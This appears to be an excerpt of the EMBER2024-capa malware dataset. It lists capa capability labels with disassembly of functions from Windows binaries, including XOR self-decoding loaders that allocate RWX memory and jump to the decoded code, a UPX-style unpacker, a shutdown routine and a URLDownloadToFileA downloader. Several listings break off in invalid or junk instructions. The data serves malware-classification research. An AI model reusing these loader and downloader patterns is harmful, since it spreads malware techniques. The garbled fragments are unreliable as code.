joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10016210
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.10015e80
push eax
push esi
push dword [ebp + 8]
call fcn.10015e35
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
invalid

Function at 0x10016240
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
cdq
sub dh, al
inc ebp
lcall 0xc635, 0x9b45c633
inc ebp
pushfd
xor al, 0xc6
inc ebp
popfd
and dh, al
inc ebp
sahf
sub eax, 0x119f45c6

Function at 0x100162e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.10015e70
mov fs, word [edx]
movsd dword es:[edi], dword [esi]
xlatb
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
invalid

Function at 0x10016730
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.10015e80
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10015e35
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
invalid
invalid
Function at 0x1001bab0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1001bb05
lea ecx, [ebp - 0x10]
push ecx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
push 0
push 0
push 0
lea edx, [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x1001bb2a
push 0x10
push 0x100568c8
push 0x100569c8
mov ecx, dword [ebp - 0x18]
add ecx, 0x30
call fcn.1001c030
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x1002cef5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1004f39c]
jne 0x1002ceff
repz ret
jmp fcn.1003125a

Function at 0x1003baaf
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.10035501
xor ebx, ebx
cmp dword [0x1005962c], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x1003bb84
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x1003baef
xor eax, eax
jmp 0x1003bc48
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x100465a4
push edi
call esi
cmp eax, ebx
je 0x1003bae8
push eax
call fcn.1003549e
mov dword [esp], 0x10046594
push edi
mov dword [0x1005962c], eax
call esi
push eax
call fcn.1003549e
mov dword [esp], 0x10046580
push edi
mov dword [0x10059630], eax
call esi
push eax
call fcn.1003549e
mov dword [0x10059634], eax
lea eax, [ebp - 8]
push eax
call fcn.100309aa
test eax, eax
pop ecx
pop ecx
je 0x1003bb52
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.100316a9
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x1003bb84
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.1003549e
cmp eax, ebx
pop ecx
mov dword [0x1005963c], eax
je 0x1003bb84
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1003549e
pop ecx
mov dword [0x10059638], eax
mov eax, dword [0x10059638]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x1003bbfd
cmp dword [0x1005963c], esi
je 0x1003bbfd
push eax
call fcn.1003550a
pop ecx
call eax
cmp eax, ebx
je 0x1003bbca
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x1005963c]
call fcn.1003550a
pop ecx
call eax
test eax, eax
je 0x1003bbca
test byte [ebp - 0x18], 1
jne 0x1003bbfd
lea eax, [ebp - 0xc]
push eax
call fcn.100309e1
test eax, eax
pop ecx
je 0x1003bbe5
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.100316a9
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x1003bbf4
or dword [ebp + 0x10], 0x200000
jmp 0x1003bc2e
or dword [ebp + 0x10], 0x40000
jmp 0x1003bc2e
mov eax, dword [0x10059630]
cmp eax, esi
je 0x1003bc2e
push eax
call fcn.1003550a
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1003bc2e
mov eax, dword [0x10059634]
cmp eax, esi
je 0x1003bc2e
push dword [ebp - 4]
push eax
call fcn.1003550a
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x1005962c]
call fcn.1003550a
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1003fcad
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x1004f39c]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.1003fc42
mov eax, 0x10000000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.1002d330
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x1003fcfc
cmp dword [ebp - 0x1c], 5
jb 0x1003fd14
jmp 0x1003fd10
cmp dword [ebp - 0x10], 1
jne 0x1003fd14
cmp dword [ebp - 0x1c], 4
ja 0x1003fd10
jne 0x1003fd14
cmp dword [ebp - 0x18], 0
jbe 0x1003fd14
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x1004766c
call fcn.1000a1d0
test eax, eax
jge 0x1003fd35
mov byte [0x100515a8], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1002cef5
add ebp, 0x78
leave
ret

Function at 0x1004003b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x1005971c], 0
push esi
jne 0x1003ffae
call fcn.1003fed9
test eax, eax
je 0x1003fff1
mov eax, dword [0x1005971c]
cmp eax, 1
jne 0x1003ffcf
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x1003fff1
pop esi
ret
push eax
call dword [0x10059724]
test eax, eax
jne 0x10040039
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1003fff5
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x1005971c]
call dword [0x10059724]
mov edi, eax
test edi, edi
je 0x1004001c
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x10040038
lea edi, [esi + 0xff0]
push esi
push dword [0x1005971c]
call dword [0x10059720]
add esi, 0x10
cmp esi, edi
jb 0x10040022
mov eax, esi
pop edi
pop esi
ret
jmp 0x1003ff9b
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x402ee4
pop dword [ebp - 0x50]
mov eax, 0x402ee4
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x858689d1
sub dword [ebp - 0x60], 0x37344486
mov dword [ebp - 0x5c], 0xc14bc97
sub dword [ebp - 0x5c], 0xd9e17052
mov dword [ebp - 0x58], 0xeca260c8
add dword [ebp - 0x58], 0x5fa9e366
mov dword [ebp - 0x54], 0x907dc7d0
sub dword [ebp - 0x54], 0x907dc7d0
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xd067c6c2
add dword [ebp - 0x60], 0xa40aa294
mov dword [ebp - 0x5c], 0x436c6d56
sub dword [ebp - 0x5c], 0x2000be1
mov dword [ebp - 0x58], 0x54150a66
add dword [ebp - 0x58], 0xf5a6206
mov dword [ebp - 0x54], 0x9279cb08
sub dword [ebp - 0x54], 0x9279cb08
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x7afa44c3
add eax, 0x85463c3d
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x39a4f
push 0
call eax
mov ecx, 0x526f
xor edi, edi
add edi, eax
mov edx, 0x8dc229db
sub edx, 0x8d7b45db
add edx, dword [ebp - 0x50]
mov esi, 0x177e1360
add esi, 0x4ccaeecf
add dword [ebp - 0x3c], 0xa721784f
mov ebx, dword [edx]
mov dword [ebp - 0x34], 0x9a55f630
xor ebx, esi
mov dword [ebp - 0x10], 0xd5a91c70
mov dword [edi], ebx
xor dword [ebp - 0x1c], 0xb113d0c5
add edi, 4
add edx, 4
loop 0x402ff8
add eax, 0x6e0df73b
sub eax, 0x6e0cbaac
mov ebx, eax
add eax, 5
mov ecx, 0xed5677ec
sub ecx, 0xed1677ec
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x40c20d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x40c21c
pop dword [ebp - 0x34]
mov eax, 0x40c21c
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x3eb32
push 0
mov eax, 0x7e3c9b62
add eax, 0x8205b6b6
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x4bad
mov esi, eax
mov edi, 0x242d834c
sub edi, 0x23ea2f4c
add edi, dword [ebp - 0x34]
mov ebx, 0x663e94c5
add ebx, 0xd17948e7
mov dword [ebp - 0x30], 0x5d9dd267
mov edx, dword [edi]
sub dword [ebp - 0x14], eax
add edx, ebx
xor dword [ebp - 4], edi
mov dword [esi], edx
xor dword [ebp - 0x30], 0xb681dae9
add esi, 0xe9951e1a
sub esi, 0xe9951e16
add edi, 4
loop 0x40c270
add eax, 0xa58bdc83
sub eax, 0xa58abafc
xor ebx, ebx
add ebx, eax
add eax, 0x903fb594
sub eax, 0x903fb58f
mov ecx, 0xc9e2458c
add ecx, 0x365dba74
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..00cfg
nop
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x2e1f542b
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x160d020e
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x1000d590
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1000d75d
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x1000d5ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1000d5c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1000d5b0
mov eax, 1
add ebx, ebx
jne 0x1000d5d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1000d5c8
jne 0x1000d5e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1000d5c8
xor ecx, ecx
sub eax, 3
jb 0x1000d5f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1000d66a
mov ebp, eax
add ebx, ebx
jne 0x1000d603
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1000d610
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x1000d634
inc ecx
add ebx, ebx
jne 0x1000d620
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1000d615
jne 0x1000d631
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1000d615
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1000d654
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1000d645
jmp 0x1000d5b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1000d654
add edi, ecx
jmp 0x1000d5b6
pop esi
mov edi, esi
mov ecx, 0x251
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1000d672
cmp byte [edi], 0
jne 0x1000d672
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1000d677
lea edi, [esi + 0xb000]
mov eax, dword [edi]
or eax, eax
je 0x1000d6ef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd078]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1000d6a4
mov ecx, edi
jns 0x1000d6d3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd07c]
or eax, eax
je 0x1000d6e9
mov dword [ebx], eax
add ebx, 4
jmp 0x1000d6c1
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1000d720
cmp al, 0xef
ja 0x1000d713
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1000d6f5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1000d702
mov ebp, dword [esi + 0xd080]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1000d754
sub esp, 0xffffff80
jmp 0x10005df3
Function at 0x402760
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x409008], 0x8088405
inc edx
mov dword [ebx + 0x409008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4074f8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
push esi
push edi
mov dword [0x40a738], 0x409
mov dword [0x40a73c], 9
mov dword [0x40a740], 1
call sub.KERNEL32.DLL_GetModuleFileNameA
test eax, eax
je 0x407530
mov dword [0x40a738], eax
test ax, ax
je 0x407550
mov edx, eax
and dx, 0x3ff
movzx edx, dx
mov dword [0x40a73c], edx
movzx eax, ax
shr eax, 0xa
mov dword [0x40a740], eax
mov esi, 0x40764c
mov edi, 0x4090c8
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
cmp dword [0x4090b4], 2
jne 0x407615
call fcn.004074e0
test al, al
je 0x40758a
mov byte [0x40a745], 0
mov byte [0x40a744], 0
jmp 0x407643
push ebp
call fcn.00407480
pop ecx
mov eax, 0x4090c8
mov edx, 0x40764c
mov cl, 0x20
call fcn.00402850
setne bl
mov byte [0x40a744], bl
test bl, bl
je 0x4075bb
mov byte [0x40a745], 0
jmp 0x407643
mov eax, 0x80
lea edx, [ebp - 0x94]
mov byte [edx], al
inc eax
inc edx
cmp eax, 0x100
jne 0x4075c6
lea eax, [ebp - 0x94]
lea edx, [ebp - 0x196]
push edx
push 0x80
push eax
push 2
mov eax, dword [0x40a738]
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
mov eax, 0x80
lea edx, [ebp - 0x196]
cmp word [edx], 2
sete cl
mov byte [0x40a745], cl
test cl, cl
jne 0x407643
add edx, 2
dec eax
jne 0x4075fc
jmp 0x407643
push 0x4a
call sub.KERNEL32.DLL_GetTickCount
test eax, eax
setne al
mov byte [0x40a745], al
push 0x2a
call sub.KERNEL32.DLL_GetTickCount
test eax, eax
setne bl
mov byte [0x40a744], bl
test bl, bl
je 0x407643
push ebp
call fcn.00407480
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40833c
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403aac
mov eax, dword [ebp - 8]
call fcn.00403aac
xor eax, eax
push ebp
push 0x4083ca
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4083a3
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403abc
push eax
mov eax, dword [ebp - 4]
call fcn.00403abc
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4083af
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4083d1
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040366c
ret
Function at 0x10026e2
Capabilities:
Read .ini file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x620
mov eax, dword [0x100b2d0]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
push eax
mov dword [ebp - 0x61c], eax
mov esi, 0x104
mov dword [ebp - 0x620], ecx
mov ecx, dword [ebp + 0x14]
push esi
lea eax, [ebp - 0x20c]
push eax
mov dword [ebp - 0x618], ecx
call fcn.0100160f
cmp byte [ebp - 0x20c], 0x22
jne 0x100273c
lea eax, [ebp - 0x20b]
push 0x1001340
jmp 0x1002747
lea eax, [ebp - 0x20c]
push 0x100133c
mov dword [ebp - 0x610], eax
lea eax, [ebp - 0x610]
push eax
call fcn.01001942
mov edi, dword [ebp - 0x610]
push edi
mov dword [ebp - 0x614], eax
call fcn.01001e13
test eax, eax
lea eax, [ebp - 0x108]
jne 0x1002791
push 0x100bc44
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
push esi
lea eax, [ebp - 0x108]
push eax
call fcn.010066cf
jmp 0x1002799
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x2e
push edi
call fcn.01006752
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
xor ebx, ebx
cmp eax, ebx
je 0x1002959
push 0x1001334
push eax
call esi
test eax, eax
jne 0x1002959
lea eax, [ebp - 0x108]
push eax
call fcn.0100672a
test eax, eax
jne 0x10027e6
push ebx
push 0x10
push ebx
lea eax, [ebp - 0x108]
push eax
push 0x525
jmp 0x10029e4
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0x610], eax
push 0x1001330
lea eax, [ebp - 0x610]
push eax
call fcn.01001942
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x100b0ac
mov edi, eax
call esi
cmp edi, ebx
je 0x1002840
cmp byte [edi], bl
je 0x1002820
mov dword [ebp - 0x610], edi
push 0x100132c
lea eax, [ebp - 0x610]
push eax
call fcn.01001942
mov edi, dword [ebp - 0x610]
cmp byte [edi], bl
je 0x1002846
push edi
call esi
jmp 0x1002846
mov edi, dword [ebp - 0x610]
push 0x200
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
cmp eax, ebx
mov dword [ebp - 0x610], eax
je 0x10029da
cmp byte [edi], bl
mov esi, 0x100b0ac
mov eax, edi
jne 0x100286e
mov eax, esi
lea ecx, [ebp - 0x108]
push ecx
push ebx
push 0x1001324
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [0x100ba60], eax
mov eax, dword [ebp - 0x618]
mov dword [eax], 1
lea eax, [ebp - 0x108]
push eax
push 8
push dword [ebp - 0x610]
push 0x1001271
push 0x1001318
push 0x1001310
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jbe 0x10028f3
or dword [0x100c494], 4
cmp byte [edi], bl
jne 0x10028c8
mov edi, esi
push edi
push dword [ebp + 0xc]
push dword [ebp - 0x61c]
call fcn.010021c4
lea eax, [ebp - 0x108]
push eax
push 0x200
push dword [ebp - 0x610]
call fcn.010021c4
jmp 0x1002a71
and dword [0x100c494], 0xfffffffb
cmp word [0x100ba64], bx
jne 0x1002922
push 0x104
lea eax, [ebp - 0x108]
push eax
push eax
mov dword [ebp - 0x614], 0x1001304
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
jmp 0x100292c
mov dword [ebp + 0x55fff9ec], 0x5653ec8b
sbb esi, esi
rol dword [ebx + ebx*8 + 0x3741988], cl
mov eax, 0x7d8bc6a7
or byte [ebx - 0x8fcc389], cl
mov ebx, dword [esi + 0x78]
call fcn.010029b6
push esp
and byte [ebx - 0x17aca9d8], cl
invalid